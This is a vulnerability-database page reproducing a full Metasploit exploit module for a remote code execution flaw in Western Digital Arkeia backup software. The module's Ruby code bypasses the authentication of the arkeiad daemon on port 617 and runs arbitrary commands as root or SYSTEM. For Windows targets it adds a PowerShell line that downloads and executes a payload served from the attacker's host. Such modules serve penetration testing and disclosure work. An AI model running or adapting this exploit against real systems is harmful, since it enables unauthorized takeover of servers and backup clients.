Lucene search
K

Western Digital Arkeia Remote Code Execution

🗓️ 13 Jul 2015 00:00:00Reported by xistenceType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 20 Views

Western Digital Arkeia Remote Code Execution in version 11.0.12 and below via 'arkeiad' daemon listening on TCP port 617. Allows arbitrary command execution with root/SYSTEM privileges. Successfully tested on Windows, Linux, OSX, FreeBSD, and OpenBSD.

Code
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Western Digital Arkeia Remote Code Execution',  
'Description' => %q{  
This module exploits a code execution flaw in Western Digital Arkeia version 11.0.12 and below.  
The vulnerability exists in the 'arkeiad' daemon listening on TCP port 617. Because there are  
insufficient checks on the authentication of all clients, this can be bypassed.  
Using the ARKFS_EXEC_CMD operation it's possible to execute arbitrary commands with root or  
SYSTEM privileges.  
The daemon is installed on both the Arkeia server as well on all the backup clients. The module  
has been successfully tested on Windows, Linux, OSX, FreeBSD and OpenBSD.  
},  
'Author' =>  
[  
'xistence <xistence[at]0x90.nl>' # Vulnerability discovery and Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
],  
'Privileged' => true,  
'Stance' => Msf::Exploit::Stance::Aggressive,  
'Payload' =>  
{  
'DisableNops' => true  
},  
'Targets' =>  
[  
[ 'Windows',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'win',  
}  
],  
[ 'Linux',  
{  
'Arch' => ARCH_CMD,  
'Platform' => 'unix',  
'Payload' =>  
{  
'DisableNops' => true,  
'Space' => 60000,  
'Compat' => {  
'PayloadType' => 'cmd cmd_bash',  
'RequiredCmd' => 'perl python bash-tcp gawk openssl'  
}  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jul 10 2015'))  
  
register_options(  
[  
Opt::RPORT(617),  
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 15])  
], self.class)  
end  
  
def check  
connect  
  
req = "\x00\x41"  
req << "\x00" * 5  
req << "\x73"  
req << "\x00" * 12  
req << "\xc0\xa8\x02\x74"  
req << "\x00" * 56  
req << "\x74\x02\xa8\xc0"  
req << 'ARKADMIN'  
req << "\x00"  
req << 'root'  
req << "\x00"  
req << 'root'  
req << "\x00" * 3  
req << '4.3.0-1' # version?  
req << "\x00" * 11  
  
sock.put(req)  
  
header = sock.get_once(6)  
unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"  
disconnect  
return Exploit::CheckCode::Unknown  
end  
  
data_length = sock.get_once(2)  
  
unless data_length && data_length.length == 2  
disconnect  
return Exploit::CheckCode::Unknown  
end  
  
data_length = data_length.unpack('n')[0]  
  
data = sock.get_once(data_length)  
unless data && data.length == data_length  
disconnect  
return Exploit::CheckCode::Unknown  
end  
  
req = "\x00\x73"  
req << "\x00" * 5  
req << "\x0c\x32"  
req << "\x00" * 11  
  
sock.put(req)  
header = sock.get_once(6)  
unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"  
disconnect  
return Exploit::CheckCode::Unknown  
end  
  
data_length = sock.get_once(2)  
  
unless data_length && data_length.length == 2  
disconnect  
return Exploit::CheckCode::Unknown  
end  
  
data_length = data_length.unpack('n')[0]  
  
data = sock.get_once(data_length)  
unless data && data.length == data_length  
disconnect  
return Exploit::CheckCode::Unknown  
end  
  
req = "\x00\x61\x00\x04\x00\x01\x00\x11\x00\x00\x31\x00"  
req << 'EN' # Language  
req << "\x00" * 11  
  
sock.put(req)  
header = sock.get_once(6)  
  
unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"  
disconnect  
return Exploit::CheckCode::Unknown  
end  
  
data_length = sock.get_once(2)  
  
unless data_length && data_length.length == 2  
disconnect  
return Exploit::CheckCode::Unknown  
end  
  
data_length = data_length.unpack('n')[0]  
  
unless data_length == 0  
disconnect  
return Exploit::CheckCode::Unknown  
end  
  
# ARKADMIN_GET_CLIENT_INFO  
req = "\x00\x62\x00\x01"  
req << "\x00" * 3  
req << "\x26"  
req << 'ARKADMIN_GET_CLIENT_INFO' # Function to request agent information  
req << "\x00\x32\x38"  
req << "\x00" * 11  
  
sock.put(req)  
  
header = sock.get_once(6)  
unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"  
disconnect  
return Exploit::CheckCode::Unknown  
end  
  
data_length = sock.get_once(2)  
  
unless data_length && data_length.length == 2  
disconnect  
return Exploit::CheckCode::Unknown  
end  
  
data_length = data_length.unpack('n')[0]  
unless data_length == 0  
disconnect  
return Exploit::CheckCode::Unknown  
end  
  
req = "\x00\x63\x00\x04\x00\x00\x00\x12\x30\x00\x31\x00\x32\x38"  
req << "\x00" * 12  
  
sock.put(req)  
  
# 1st packet  
  
header = sock.get_once(6)  
unless header && header.length == 6 && header[0, 4] == "\x00\x63\x00\x04"  
disconnect  
return Exploit::CheckCode::Unknown  
end  
  
data_length = sock.get_once(2)  
  
unless data_length && data_length.length == 2  
disconnect  
return Exploit::CheckCode::Unknown  
end  
  
data_length = data_length.unpack('n')[0]  
  
data = sock.get_once(data_length)  
unless data && data.length == data_length  
disconnect  
return Exploit::CheckCode::Unknown  
end  
  
# 2nd packet  
  
header = sock.get_once(6)  
unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04"  
disconnect  
return Exploit::CheckCode::Unknown  
end  
  
data_length = sock.get_once(2)  
  
unless data_length && data_length.length == 2  
disconnect  
return Exploit::CheckCode::Unknown  
end  
  
data_length = data_length.unpack('n')[0]  
  
data = sock.get_once(data_length)  
unless data && data.length == data_length  
disconnect  
return Exploit::CheckCode::Unknown  
end  
  
# 3rd packet  
  
header = sock.get_once(6)  
unless header && header.length == 6 && header[0, 4] == "\x00\x65\x00\x04"  
disconnect  
return Exploit::CheckCode::Unknown  
end  
  
data_length = sock.get_once(2)  
  
unless data_length && data_length.length == 2  
disconnect  
return Exploit::CheckCode::Unknown  
end  
  
data_length = data_length.unpack('n')[0]  
  
data = sock.get_once(data_length)  
unless data && data.length == data_length && data.include?('You have successfully retrieved client information')  
disconnect  
return Exploit::CheckCode::Unknown  
end  
  
# 4th packet  
  
header = sock.get_once(6)  
unless header && header.length == 6 && header[0, 4] == "\x00\x69\x00\x04"  
disconnect  
return Exploit::CheckCode::Unknown  
end  
  
data_length = sock.get_once(2)  
  
unless data_length && data_length.length == 2  
disconnect  
return Exploit::CheckCode::Unknown  
end  
  
data_length = data_length.unpack('n')[0]  
  
data = sock.get_once(data_length)  
unless data && data.length == data_length  
disconnect  
return Exploit::CheckCode::Unknown  
end  
  
if data =~ /VERSION.*WD Arkeia ([0-9]+\.[0-9]+\.[0-9]+)/  
version = $1  
vprint_status("#{rhost}:#{rport} - Arkeia version detected: #{version}")  
if Gem::Version.new(version) <= Gem::Version.new('11.0.12')  
return Exploit::CheckCode::Appears  
else  
return Exploit::CheckCode::Safe  
end  
else  
vprint_status("#{rhost}:#{rport} - Arkeia version not detected")  
return Exploit::CheckCode::Unknown  
end  
end  
  
def exploit  
if target.name =~ /Windows/  
  
@down_file = rand_text_alpha(8+rand(8))  
@pl = generate_payload_exe  
  
begin  
Timeout.timeout(datastore['HTTP_DELAY']) {super}  
rescue Timeout::Error  
end  
elsif target.name =~ /Linux/  
communicate(payload.encoded)  
return  
end  
end  
  
def primer  
@payload_url = get_uri  
  
# PowerShell web download. The char replacement is needed because using the "/" character twice (like http://)  
# is not possible on Windows agents.  
command = "PowerShell -Command \"$s=[CHAR][BYTE]47;$b=\\\"#{@payload_url.gsub(/\//, '$($s)')}\\\";"  
command << "(New-Object System.Net.WebClient).DownloadFile($b,'c:/#{@down_file}.exe');"  
command << "(New-Object -com Shell.Application).ShellExecute('c:/#{@down_file}.exe');\""  
  
communicate(command)  
end  
  
def communicate(command)  
print_status("#{rhost}:#{rport} - Connecting to Arkeia daemon")  
  
connect  
  
print_status("#{rhost}:#{rport} - Sending agent communication")  
  
req = "\x00\x41\x00\x00\x00\x00\x00\x70"  
req << "\x00" * 12  
req << "\xc0\xa8\x02\x8a"  
req << "\x00" * 56  
req << "\x8a\x02\xa8\xc0"  
req << 'ARKFS'  
req << "\x00"  
req << 'root'  
req << "\x00"  
req << 'root'  
req << "\x00" * 3  
req << '4.3.0-1' # Client version ?  
req << "\x00" * 11  
  
sock.put(req)  
  
header = sock.get_once(6)  
unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"  
disconnect  
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")  
end  
  
data_length = sock.get_once(2)  
  
unless data_length && data_length.length == 2  
disconnect  
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")  
end  
  
data_length = data_length.unpack('n')[0]  
  
data = sock.get_once(data_length)  
unless data && data.length == data_length  
disconnect  
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")  
end  
  
req = "\x00\x73\x00\x00\x00\x00\x00\x0c\x32"  
req << "\x00" * 11  
  
sock.put(req)  
header = sock.get_once(6)  
unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"  
disconnect  
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")  
end  
  
data_length = sock.get_once(2)  
  
unless data_length && data_length.length == 2  
disconnect  
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")  
end  
  
data_length = data_length.unpack('n')[0]  
  
data = sock.get_once(data_length)  
unless data && data.length == data_length  
disconnect  
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")  
end  
  
req = "\x00\x61\x00\x04\x00\x01\x00\x1a\x00\x00"  
req << rand_text_numeric(10) # "1234567890" - 10 byte numerical value, like a session ID?  
req << "\x00"  
req << 'EN' # English language?  
req << "\x00" * 11  
  
sock.put(req)  
header = sock.get_once(6)  
unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"  
disconnect  
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")  
end  
  
data_length = sock.get_once(2)  
  
unless data_length && data_length.length == 2  
disconnect  
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")  
end  
  
data_length = data_length.unpack('n')[0]  
  
unless data_length == 0  
disconnect  
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unexpected length read")  
end  
  
req = "\x00\x62\x00\x01\x00\x02\x00\x1b"  
req << 'ARKFS_EXEC_CMD' # With this function we can execute system commands with root/SYSTEM privileges  
req << "\x00\x31"  
req << "\x00" * 11  
  
sock.put(req)  
  
header = sock.get_once(6)  
unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"  
disconnect  
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")  
end  
  
data_length = sock.get_once(2)  
  
unless data_length && data_length.length == 2  
disconnect  
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")  
end  
  
data_length = data_length.unpack('n')[0]  
  
unless data_length == 0  
disconnect  
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unexpected length read")  
end  
  
req = "\x00\x63\x00\x04\x00\x03\x00\x15\x31\x00\x31\x00\x31\x00\x30\x3a\x31\x2c"  
req << "\x00" * 11  
  
sock.put(req)  
  
command_length = '%02x' % command.length  
command_length = command_length.scan(/../).map { |x| x.hex.chr }.join  
  
req = "\x00\x64\x00\x04\x00\x04"  
req << [command.length].pack('n')  
req << command # Our command to be executed  
req << "\x00"  
  
print_status("#{rhost}:#{rport} - Executing payload through ARKFS_EXEC_CMD")  
  
sock.put(req)  
  
header = sock.get_once(6)  
unless header && header.length == 6 && header[0, 4] == "\x00\x63\x00\x04"  
disconnect  
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")  
end  
  
data_length = sock.get_once(2)  
  
unless data_length && data_length.length == 2  
disconnect  
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")  
end  
  
data_length = data_length.unpack('n')[0]  
  
data = sock.get_once(data_length)  
unless data && data.length == data_length  
disconnect  
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")  
end  
  
# 1st Packet  
  
header = sock.get_once(6)  
unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04"  
disconnect  
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")  
end  
  
data_length = sock.get_once(2)  
  
unless data_length && data_length.length == 2  
disconnect  
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")  
end  
  
data_length = data_length.unpack('n')[0]  
  
data = sock.get_once(data_length)  
unless data && data.length == data_length  
disconnect  
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")  
end  
  
# 2st Packet  
  
header = sock.get_once(6)  
unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04"  
disconnect  
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")  
end  
  
data_length = sock.get_once(2)  
  
unless data_length && data_length.length == 2  
disconnect  
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")  
end  
  
data_length = data_length.unpack('n')[0]  
  
data = sock.get_once(data_length)  
unless data && data.length == data_length  
disconnect  
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")  
end  
end  
  
def on_request_uri(cli, request)  
print_status("Request: #{request.uri}")  
if request.uri == get_resource  
print_status('Sending payload...')  
send_response(cli, @pl)  
register_files_for_cleanup("c:\\#{@down_file}.exe")  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation